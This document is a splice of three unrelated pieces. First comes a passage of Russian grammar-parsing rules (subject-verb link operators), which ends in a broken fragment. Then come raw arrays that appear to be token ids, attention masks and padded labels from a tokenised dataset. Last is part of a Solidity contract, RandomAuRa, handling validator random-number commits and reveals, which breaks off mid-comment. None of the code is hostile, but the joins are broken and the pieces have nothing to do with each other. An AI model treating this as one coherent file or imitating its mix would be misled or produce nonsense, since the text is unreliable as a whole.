МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2031 : LINK_SUBJECT_VERB
{
// ДВА ДРУГА - ЭТО КТО?
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
_Дефис
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2040 : LINK_SUBJECT_VERB
{
// ЧЕЛОВЕК - КТО ЭТО?
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
_Дефис
МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2041 : LINK_SUBJECT_VERB
{
// ДВА ДРУГА - КТО ЭТО?
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
_Дефис
МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2110 : LINK_SUBJECT_VERB
{
// КТО ЧЕЛОВЕК?
if context { МЕСТОИМ_СУЩ:КТО{ПАДЕЖ:ИМ} СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b }
then context { 0.<ATTRIBUTE>#b }
}
operator SubjectVerb_2130 : LINK_SUBJECT_VERB
{
// КТО МОЖЕТ БЫТЬ ЧЕЛОВЕКОМ?
if context {
МЕСТОИМ_СУЩ:КТО{ПАДЕЖ:ИМ}
МОЖЕТ
ИНФИНИТИВ:БЫТЬ{}
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ТВОР}#b
}
then context { 0.<ATTRIBUTE>#b:set{ПАДЕЖ:ИМ} }
}
operator SubjectVerb_2131 : LINK_SUBJECT_VERB
{
// КТО МОЖЕТ БЫТЬ ОДНИМ ЧЕЛОВЕКОМ?
if context {
МЕСТОИМ_СУЩ:КТО{ПАДЕЖ:ИМ}
МОЖЕТ
ИНФИНИТИВ:БЫТЬ{}
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ТВОР}#b
}
then context { 0.<ATTRIBUTE>#b:set{ПАДЕЖ:ИМ} }
}
operator SubjectVerb_2152 : LINK_SUBJECT_VERB
{
// НЕКТО - ЧЕЛОВЕК.
if context {
МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
_Дефис
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2160 : LINK_SUBJECT_VERB
{
// КОШКА - ЗВЕРЬ
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
_Дефис
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2161 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - ЗВЕРЬ
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
_Дефис
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2162 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - ОДИН ЗВЕРЬ
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
_Дефис
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2170 : LINK_SUBJECT_VERB
{
// КОШКА - ЭТО ЗВЕРЬ
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
_Дефис
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2171 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - ЭТО ЗВЕРЬ
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
_Дефис
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2172 : LINK_SUBJECT_VERB
{
// КОШКА - ЭТО ОДИН ЗВЕРЬ
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
_Дефис
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2173 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - ЭТО ОДИН ЗВЕРЬ
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
_Дефис
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2174 : LINK_SUBJECT_VERB
{
// КОШКА - ЗВЕРЬ
if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2175 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - ЗВЕРЬ
if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2176 : LINK_SUBJECT_VERB
{
// КОШКА - ОДИН ЗВЕРЬ
if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2177 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - ОДИН ЗВЕРЬ
if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2178 : LINK_SUBJECT_VERB
{
// КОШКА ЭТО ЗВЕРЬ
if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2179 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ЭТО ЗВЕРЬ
if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2180 : LINK_SUBJECT_VERB
{
// КОШКА ЭТО ОДИН ЗВЕРЬ
if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2181 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ЭТО ОДИН ЗВЕРЬ
if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } }
correlate { 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 }
}
operator SubjectVerb_2182 : LINK_SUBJECT_VERB
{
// ЗВЕРЬ ЛИ КОШКА
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
ЧАСТИЦА:ЛИ{}
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2183 : LINK_SUBJECT_VERB
{
// ОДИН ЗВЕРЬ ЛИ КОШКА
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
ЧАСТИЦА:ЛИ{}
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2184 : LINK_SUBJECT_VERB
{
// ЗВЕРЬ ЛИ ОДНА КОШКА
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
ЧАСТИЦА:ЛИ{}
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_3000 : LINK_SUBJECT_VERB
{
// КОТУ НАДО СПАТЬ
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ДАТ}#a
БЕЗЛИЧ_ГЛАГОЛ{}#b
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_3010 : LINK_SUBJECT_VERB
{
// ОДНОМУ КОТУ НАДО СПАТЬ
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ДАТ}#a
БЕЗЛИЧ_ГЛАГОЛ{}#b
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_3020 : LINK_SUBJECT_VERB
{
// ЕМУ НАДО СПАТЬ
if context {
МЕСТОИМЕНИЕ{ПАДЕЖ:ДАТ}#a
БЕЗЛИЧ_ГЛАГОЛ{}#b
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_3030 : LINK_SUBJECT_VERB
{
// БЫЛО ВЫПИТО МНОГО ВИНА
if context {
ГЛАГОЛ:БЫТЬ { ВРЕМЯ:ПРОШЕДШЕЕ РОД:СР }
ПРИЛАГАТЕЛЬНОЕ:* { ПРИЧАСТИЕ СТРАД КРАТКИЙ РОД:СР }
СУЩЕСТВИТЕЛЬНОЕ:* { ПАДЕЖ:РОД }
}
correlate { ЧИСЛО }
then context { 2.<ATTRIBUTE>1.0 }
}
operator SubjectVerb_3040 : LINK_SUBJECT_VERB
{
// БЫЛО СЪЕДЕНО ДВА КИЛОГРАММА САЛА
if context {
ГЛАГОЛ:БЫТЬ { ВРЕМЯ:ПРОШЕДШЕЕ РОД:СР }
ПРИЛАГАТЕЛЬНОЕ:* { ПРИЧАСТИЕ СТРАД КРАТКИЙ РОД:СР }
ЧИСЛИТЕЛЬНОЕ:* { ПАДЕЖ:РОД }
}
correlate { ЧИСЛО }
then context { 2.<ATTRIBUTE>1.0 }
}
operator SubjectVerb_3050 : LINK_SUBJECT_VERB
{
// ДВА КИЛОГРАММА САЛА БЫЛО СЪЕДЕНО
if context {
ЧИСЛИТЕЛЬНОЕ:* { ПАДЕЖ:РОД }
ГЛАГОЛ:БЫТЬ { ВРЕМЯ:ПРОШЕДШЕЕ РОД:СР }
ПРИЛАГАТЕЛЬНОЕ:* { ПРИЧАСТИЕ СТРАД КРАТКИЙ РОД:СР }
}
correlate { ЧИСЛО }
then context { 0.<ATTRIBUTE>2.1 }
}
operator SubjectVerb_4000 : LINK_SUBJECT_VERB
{
// ОН - ЧЕЛОВЕК.
if context {
МЕСТОИМЕНИЕ{ПАДЕЖ:ИМ}#a
_Дефис
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
_КОН
}
then context { #a.<ATTRIBUTE>#b 3 }
}
operator SubjectVerb_4010 : LINK_SUBJECT_VERB
{
// ОН - ЧЕЛОВЕК,
if context {
МЕСТОИМЕНИЕ{ПАДЕЖ:ИМ}#a
_Дефис
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
_Запятая
}
then context { #a.<ATTRIBUTE>#b 3 }
}
operator SubjectVerb_4020 : LINK_SUBJECT_VERB
{
// БЫЛО СЪЕДЕНО ДВА ЯБЛОКА
if context {
[center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Род:Ср Число:Ед } #b
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:Им } #a
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_4030 : LINK_SUBJECT_VERB
{
// БЫЛО СЪЕДЕНО ЯБЛОКО
if context {
[center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Род:Ср Число:Ед } #b
Существительное { ПАДЕЖ:Им } #a
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_4040 : LINK_SUBJECT_VERB
{
// БЫЛИ СЪЕДЕНЫ ДВА ЯБЛОКА
if context {
[center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Число:Мн } #b
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:Им } #a
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_4050 : LINK_SUBJECT_VERB
{
// БЫЛИ СЪЕДЕНЫ ЯБЛОКИ
if context {
[center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Число:Мн } #b
Существительное { ПАДЕЖ:Им } #a
}
then context { #b.<SUBJECT>#a }
}
#pragma floating on
}
|
ОДНА КОШКА БЕЛАЯ, ...
|
{
if context {
_Запятая
}
}
operator SubjectVerb_372 : LINK_SUBJECT_VERB
| 12,586,245 |
[
1,
145,
257,
145,
247,
145,
256,
145,
243,
225,
145,
253,
145,
257,
145,
106,
145,
253,
145,
243,
225,
145,
244,
145,
248,
145,
254,
145,
243,
145,
112,
16,
1372,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
288,
203,
225,
309,
819,
288,
203,
2868,
389,
145,
250,
145,
113,
145,
128,
146,
242,
146,
229,
145,
113,
146,
242,
203,
2398,
289,
203,
289,
203,
203,
203,
3726,
9912,
16281,
67,
6418,
22,
294,
22926,
67,
8362,
5304,
67,
2204,
38,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.10;
import "./interfaces/IRandomAuRa.sol";
import "./interfaces/IStakingAuRa.sol";
import "./interfaces/IValidatorSetAuRa.sol";
import "./upgradeability/UpgradeableOwned.sol";
/// @dev Generates and stores random numbers in a RANDAO manner (and controls when they are revealed by AuRa
/// validators) and accumulates a random seed. The random seed is used to form a new validator set by the
/// `ValidatorSetAuRa.newValidatorSet` function.
contract RandomAuRa is UpgradeableOwned, IRandomAuRa {
// =============================================== Storage ========================================================
// WARNING: since this contract is upgradeable, do not remove
// existing storage variables, do not change their order,
// and do not change their types!
mapping(uint256 => mapping(uint256 => bytes)) internal _ciphers;
mapping(uint256 => mapping(uint256 => bytes32)) internal _commits;
mapping(uint256 => uint256[]) internal _committedValidators;
/// @dev The length of the collection round (in blocks).
uint256 public collectRoundLength;
/// @dev The current random seed accumulated during RANDAO or another process
/// (depending on implementation).
uint256 public currentSeed;
/// @dev A boolean flag defining whether to punish validators for unrevealing.
bool public punishForUnreveal;
/// @dev The number of reveal skips made by the specified validator during the specified staking epoch.
mapping(uint256 => mapping(uint256 => uint256)) internal _revealSkips;
/// @dev A boolean flag of whether the specified validator has revealed their number for the
/// specified collection round.
mapping(uint256 => mapping(uint256 => bool)) internal _sentReveal;
/// @dev The address of the `ValidatorSetAuRa` contract.
IValidatorSetAuRa public validatorSetContract;
// ============================================== Modifiers =======================================================
/// @dev Ensures the caller is the BlockRewardAuRa contract address.
modifier onlyBlockReward() {
require(msg.sender == validatorSetContract.blockRewardContract());
_;
}
/// @dev Ensures the `initialize` function was called before.
modifier onlyInitialized {
require(isInitialized());
_;
}
/// @dev Ensures the caller is the ValidatorSetAuRa contract address.
modifier onlyValidatorSet() {
require(msg.sender == address(validatorSetContract));
_;
}
// =============================================== Setters ========================================================
/// @dev Clears commit and cipher for the given validator's pool if the pool
/// hasn't yet revealed their number.
/// Called by the ValidatorSetAuRa.changeMiningAddress function
/// when a validator creates a request to change their mining address.
function clearCommit(uint256 _poolId) external onlyValidatorSet {
uint256 collectRound = currentCollectRound();
if (!_sentReveal[collectRound][_poolId]) {
delete _commits[collectRound][_poolId];
delete _ciphers[collectRound][_poolId];
}
}
/// @dev Called by the validator's node to store a hash and a cipher of the validator's number on each collection
/// round. The validator's node must use its mining address to call this function.
/// This function can only be called once per collection round (during the `commits phase`).
/// @param _numberHash The Keccak-256 hash of the validator's number.
/// @param _cipher The cipher of the validator's number. Can be used by the node to restore the lost number after
/// the node is restarted (see the `getCipher` getter).
function commitHash(bytes32 _numberHash, bytes calldata _cipher) external onlyInitialized {
address miningAddress = msg.sender;
require(commitHashCallable(miningAddress, _numberHash));
require(_getCoinbase() == miningAddress); // make sure validator node is live
uint256 collectRound = currentCollectRound();
uint256 poolId = validatorSetContract.idByMiningAddress(miningAddress);
_commits[collectRound][poolId] = _numberHash;
_ciphers[collectRound][poolId] = _cipher;
_committedValidators[collectRound].push(poolId);
}
/// @dev Called by the validator's node to XOR its number with the current random seed.
/// The validator's node must use its mining address to call this function.
/// This function can only be called once per collection round (during the `reveals phase`).
/// @param _number The validator's number.
function revealNumber(uint256 _number) external onlyInitialized {
_revealNumber(_number);
}
/// @dev The same as the `revealNumber` function (see its description).
/// The `revealSecret` was renamed to `revealNumber`, so this function
/// is left for backward compatibility with the previous client
/// implementation and should be deleted in the future.
/// @param _number The validator's number.
function revealSecret(uint256 _number) external onlyInitialized {
_revealNumber(_number);
}
/// @dev Changes the `punishForUnreveal` boolean flag. Can only be called by an owner.
function setPunishForUnreveal(bool _punishForUnreveal) external onlyOwner {
punishForUnreveal = _punishForUnreveal;
}
/// @dev Initializes the contract at network startup.
/// Can only be called by the constructor of the `InitializerAuRa` contract or owner.
/// @param _collectRoundLength The length of a collection round in blocks.
/// @param _validatorSet The address of the `ValidatorSet` contract.
/// @param _punishForUnreveal A boolean flag defining whether to punish validators for unrevealing.
function initialize(
uint256 _collectRoundLength, // in blocks
address _validatorSet,
bool _punishForUnreveal
) external {
require(_getCurrentBlockNumber() == 0 || msg.sender == _admin());
require(!isInitialized());
IValidatorSetAuRa validatorSet = IValidatorSetAuRa(_validatorSet);
require(_collectRoundLength % 2 == 0);
require(_collectRoundLength % validatorSet.MAX_VALIDATORS() == 0);
require(IStakingAuRa(validatorSet.stakingContract()).stakingEpochDuration() % _collectRoundLength == 0);
require(_collectRoundLength > 0);
require(collectRoundLength == 0);
require(_validatorSet != address(0));
collectRoundLength = _collectRoundLength;
validatorSetContract = IValidatorSetAuRa(_validatorSet);
punishForUnreveal = _punishForUnreveal;
}
/// @dev Checks whether the current validators at the end of each collection round revealed their numbers,
/// and removes malicious validators if needed.
/// This function does nothing if the current block is not the last block of the current collection round.
/// Can only be called by the `BlockRewardAuRa` contract (by its `reward` function).
function onFinishCollectRound() external onlyBlockReward {
if (_getCurrentBlockNumber() % collectRoundLength != 0) return;
// This is the last block of the current collection round
address[] memory validators;
address validator;
uint256 i;
address stakingContract = validatorSetContract.stakingContract();
uint256 stakingEpoch = IStakingAuRa(stakingContract).stakingEpoch();
uint256 startBlock = IStakingAuRa(stakingContract).stakingEpochStartBlock();
uint256 endBlock = IStakingAuRa(stakingContract).stakingEpochEndBlock();
uint256 currentRound = currentCollectRound();
if (_getCurrentBlockNumber() > startBlock + collectRoundLength * 3) {
// Check whether each validator didn't reveal their number
// during the current collection round
validators = validatorSetContract.getValidators();
for (i = 0; i < validators.length; i++) {
validator = validators[i];
if (!sentReveal(currentRound, validator)) {
uint256 poolId = validatorSetContract.idByMiningAddress(validator);
_revealSkips[stakingEpoch][poolId]++;
}
}
}
// If this is the last collection round in the current staking epoch
// and punishing for unreveal is enabled.
if (
punishForUnreveal &&
(_getCurrentBlockNumber() == endBlock || _getCurrentBlockNumber() + collectRoundLength > endBlock)
) {
uint256 maxRevealSkipsAllowed =
IStakingAuRa(stakingContract).stakeWithdrawDisallowPeriod() / collectRoundLength;
if (maxRevealSkipsAllowed > 1) {
maxRevealSkipsAllowed -= 2;
} else if (maxRevealSkipsAllowed > 0) {
maxRevealSkipsAllowed--;
}
// Check each validator to see if they didn't reveal
// their number during the last full `reveals phase`
// or if they missed the required number of reveals per staking epoch.
validators = validatorSetContract.getValidators();
address[] memory maliciousValidators = new address[](validators.length);
uint256 maliciousValidatorsLength = 0;
for (i = 0; i < validators.length; i++) {
validator = validators[i];
if (
!sentReveal(currentRound, validator) ||
revealSkips(stakingEpoch, validator) > maxRevealSkipsAllowed
) {
// Mark the validator as malicious
maliciousValidators[maliciousValidatorsLength++] = validator;
}
}
if (maliciousValidatorsLength > 0) {
address[] memory miningAddresses = new address[](maliciousValidatorsLength);
for (i = 0; i < maliciousValidatorsLength; i++) {
miningAddresses[i] = maliciousValidators[i];
}
validatorSetContract.removeMaliciousValidators(miningAddresses);
}
}
// Clear unnecessary info about previous collection round.
_clearOldCiphers(currentRound);
}
// =============================================== Getters ========================================================
/// @dev Returns the length of the commits/reveals phase which is always half of the collection round length.
function commitPhaseLength() public view returns(uint256) {
return collectRoundLength / 2;
}
/// @dev Returns the serial number of the current collection round.
function currentCollectRound() public view returns(uint256) {
return (_getCurrentBlockNumber() - 1) / collectRoundLength;
}
/// @dev Returns the number of the first block of the current collection round.
function currentCollectRoundStartBlock() public view returns(uint256) {
return currentCollectRound() * collectRoundLength + 1;
}
/// @dev Returns the cipher of the validator's number for the specified collection round and the specified validator
/// stored by the validator through the `commitHash` function.
/// For the past collection rounds the cipher is empty as it's erased by the internal `_clearOldCiphers` function.
/// @param _collectRound The serial number of the collection round for which the cipher should be retrieved.
/// @param _miningAddress The mining address of validator.
function getCipher(uint256 _collectRound, address _miningAddress) public view returns(bytes memory) {
uint256 poolId = validatorSetContract.idByMiningAddress(_miningAddress);
return _ciphers[_collectRound][poolId];
}
/// @dev Returns the Keccak-256 hash of the validator's number for the specified collection round and the specified
/// validator stored by the validator through the `commitHash` function. Note that for the past collection rounds
/// it can return empty results because there was a migration from mining addresses to staking addresses.
/// @param _collectRound The serial number of the collection round for which the hash should be retrieved.
/// @param _miningAddress The mining address of validator.
function getCommit(uint256 _collectRound, address _miningAddress) public view returns(bytes32) {
uint256 poolId = validatorSetContract.idByMiningAddress(_miningAddress);
return _commits[_collectRound][poolId];
}
/// @dev Returns the Keccak-256 hash and cipher of the validator's number for the specified collection round
/// and the specified validator stored by the validator through the `commitHash` function.
/// For the past collection rounds the cipher is empty. Note that for the past collection rounds
/// it can return empty results because there was a migration from mining addresses to staking addresses.
/// @param _collectRound The serial number of the collection round for which hash and cipher should be retrieved.
/// @param _miningAddress The mining address of validator.
function getCommitAndCipher(
uint256 _collectRound,
address _miningAddress
) public view returns(bytes32, bytes memory) {
uint256 poolId = validatorSetContract.idByMiningAddress(_miningAddress);
return (_commits[_collectRound][poolId], _ciphers[_collectRound][poolId]);
}
/// @dev Returns a boolean flag indicating whether the specified validator has committed their number's hash for the
/// specified collection round. Note that for the past collection rounds it can return false-negative results
/// because there was a migration from mining addresses to staking addresses (on xDai chain).
/// Also, it intentionally returns a false-positive result during the commit phase when the specified
/// mining address of a validator is about to be changed. This is needed to prevent committing hash/cipher pair
/// by Ethereum node to guarantee that a new validator's node (with a new mining address) won't try to wrongly
/// decrypt the cipher stored by the previous node (created by the private key of the previous mining address).
/// @param _collectRound The serial number of the collection round for which the checkup should be done.
/// @param _miningAddress The mining address of the validator.
function isCommitted(uint256 _collectRound, address _miningAddress) public view returns(bool) {
uint256 poolId = validatorSetContract.idByMiningAddress(_miningAddress);
if (poolId != 0 && isCommitPhase()) {
(uint256 requestPoolId,) = validatorSetContract.miningAddressChangeRequest();
if (poolId == requestPoolId) {
return true;
}
}
return _commits[_collectRound][poolId] != bytes32(0);
}
/// @dev Returns a boolean flag indicating whether the current phase of the current collection round
/// is a `commits phase`. Used by the validator's node to determine if it should commit the hash of
/// the number during the current collection round.
function isCommitPhase() public view returns(bool) {
return ((_getCurrentBlockNumber() - 1) % collectRoundLength) < commitPhaseLength();
}
/// @dev Returns a boolean flag indicating if the `initialize` function has been called.
function isInitialized() public view returns(bool) {
return validatorSetContract != IValidatorSetAuRa(0);
}
/// @dev Returns a boolean flag indicating whether the current phase of the current collection round
/// is a `reveals phase`. Used by the validator's node to determine if it should reveal the number during
/// the current collection round.
function isRevealPhase() public view returns(bool) {
return !isCommitPhase();
}
/// @dev Returns a boolean flag of whether the `commitHash` function can be called at the current block
/// by the specified validator. Used by the `commitHash` function and the `TxPermission` contract.
/// @param _miningAddress The mining address of the validator which tries to call the `commitHash` function.
/// @param _numberHash The Keccak-256 hash of validator's number passed to the `commitHash` function.
function commitHashCallable(address _miningAddress, bytes32 _numberHash) public view returns(bool) {
if (!isCommitPhase()) return false; // must only be called in `commits phase`
if (_numberHash == bytes32(0)) return false;
if (!validatorSetContract.isValidator(_miningAddress)) return false;
if (isCommitted(currentCollectRound(), _miningAddress)) return false; // cannot commit more than once
return true;
}
/// @dev Returns the number of the first block of the next (future) collection round.
function nextCollectRoundStartBlock() public view returns(uint256) {
uint256 currentBlock = _getCurrentBlockNumber();
uint256 remainingBlocksToNextRound = collectRoundLength - (currentBlock - 1) % collectRoundLength;
return currentBlock + remainingBlocksToNextRound;
}
/// @dev Returns the number of the first block of the next (future) commit phase.
function nextCommitPhaseStartBlock() public view returns(uint256) {
return nextCollectRoundStartBlock();
}
/// @dev Returns the number of the first block of the next (future) reveal phase.
